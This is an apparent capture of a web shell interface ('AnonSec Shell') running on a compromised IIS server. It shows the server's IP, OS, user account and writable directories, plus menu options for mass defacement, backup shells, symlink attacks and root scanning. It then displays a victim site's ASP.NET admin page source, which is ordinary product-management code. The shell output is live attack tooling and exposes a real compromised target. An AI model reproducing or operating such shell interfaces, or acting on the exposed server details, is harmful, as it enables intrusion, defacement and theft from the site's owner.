. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/GrowelAdmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs/GrowelAdmin///ManageIndustryProducts.aspx.cs
using GrowelBLL.Services;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace GrowelWeb.GrowelAdmin
{
    public partial class ManageIndustryProducts : System.Web.UI.Page
    {
        public string currentindustry = "";
        public string currentproduct = "";
        public int currentid = 0;

        protected void Page_Load(object sender, EventArgs e)
        {
            if (!IsPostBack)
            {
                BindIndustries();
            }


        }


        public void BindIndustries()
        {
            AdminService adminService = new AdminService();
            this.ddlindustries.Items.Clear();
            DataSet ds = new DataSet();
            ds = adminService.GetIndustries();
            this.ddlindustries.Items.Add("Select One");
            foreach (DataRow drow in ds.Tables[0].Rows)
            {
                ListItem l = new ListItem(drow["industry_displayname"].ToString(), drow["industry"].ToString());
                this.ddlindustries.Items.Add(l);

            }
            //this.ddlindustries.DataSource = ds.Tables[0].DefaultView;
            //this.ddlindustries.DataTextField = "Industry_Displayname";
            //this.ddlindustries.DataValueField = "Industry";
            //this.ddlindustries.DataBind();
            this.ddlindustries.Text = "Select One";
        }

        protected void ddlindustries_SelectedIndexChanged(object sender, EventArgs e)
        {

            BindProducts(this.ddlindustries.SelectedValue.ToString());
            currentindustry = this.ddlindustries.SelectedValue.ToString();
            //Response.Write(this.ddlindustries.SelectedValue.ToString());
        }

        public void BindProducts(string industry)
        {
            AdminService adminService = new AdminService();
            this.lblstatus.Text = "";
            //Response.Redirect(industry);
            DataSet pds = adminService.GetProductsIndustryWise(industry);
            if (pds.Tables[0].Rows.Count == 0)
            {
                this.lblstatus.Text = "Sorry, products not found";
            }
            this.dtlstproducts.DataSource = pds.Tables[0].DefaultView;
            this.dtlstproducts.DataBind();
        }
        protected void btnadd_Click(object sender, EventArgs e)
        {
            AdminService adminService = new AdminService();
            adminService.AddIndustryProduct(this.ddlindustries.SelectedValue.ToString(), this.txtproduct.Text, this.ddltype.SelectedValue.ToString(), this.txtlink.Text);
            this.lblstatus.Visible = true;
            this.lblstatus.Text = "Industry Product Added";
            BindProducts(this.ddlindustries.SelectedValue.ToString());

        }
        protected void lnkdelete_Click(object sender, EventArgs e)
        {
            AdminService adminService = new AdminService();
            LinkButton l = (LinkButton)sender;
            adminService.DeleteIndusryProduct(Convert.ToInt16(l.CommandArgument.ToString()));
            this.lblstatus.Visible = true;
            this.lblstatus.Text = "Industry Product Deleted";
            BindProducts(this.ddlindustries.SelectedValue.ToString());
        }
        protected void btnedit_Click(object sender, EventArgs e)
        {
            AdminService adminService = new AdminService();
            adminService.EditIndustryProduct(Convert.ToInt16(curid.Value), curindustry.Value, this.txteditproduct.Text, this.ddleditindustry.SelectedValue.ToString(), this.txteditlink.Text);
            this.lblstatus.Visible = true;
            this.lblstatus.Text = "Industry Product Updated";
            curindustry.Value = "";
            curpproduct.Value = "";
            this.paneledit.Visible = false;
        }

        protected void lnkedit_Click(object sender, EventArgs e)
        {
            AdminService adminService = new AdminService();
            LinkButton l = (LinkButton)sender;
            int pid = Convert.ToInt16(l.CommandArgument.ToString());
            this.paneledit.Visible = true;
            currentid = pid;
            curid.Value = pid.ToString();

            DataSet ds = adminService.GetIndustryProductDetails(currentid);
            currentindustry = ds.Tables[0].Rows[0]["industry"].ToString();
            curindustry.Value = ds.Tables[0].Rows[0]["industry"].ToString();
            currentproduct = ds.Tables[0].Rows[0]["product"].ToString();
            curpproduct.Value = ds.Tables[0].Rows[0]["product"].ToString();
            //ddleditindustry.SelectedValue = ds.Tables[0].Rows[0]["type"].ToString();
            txteditproduct.Text = ds.Tables[0].Rows[0]["product"].ToString();
            txteditlink.Text = ds.Tables[0].Rows[0]["product_link"].ToString();

        }
    }
}

Anon7 - 2022
AnonSec Team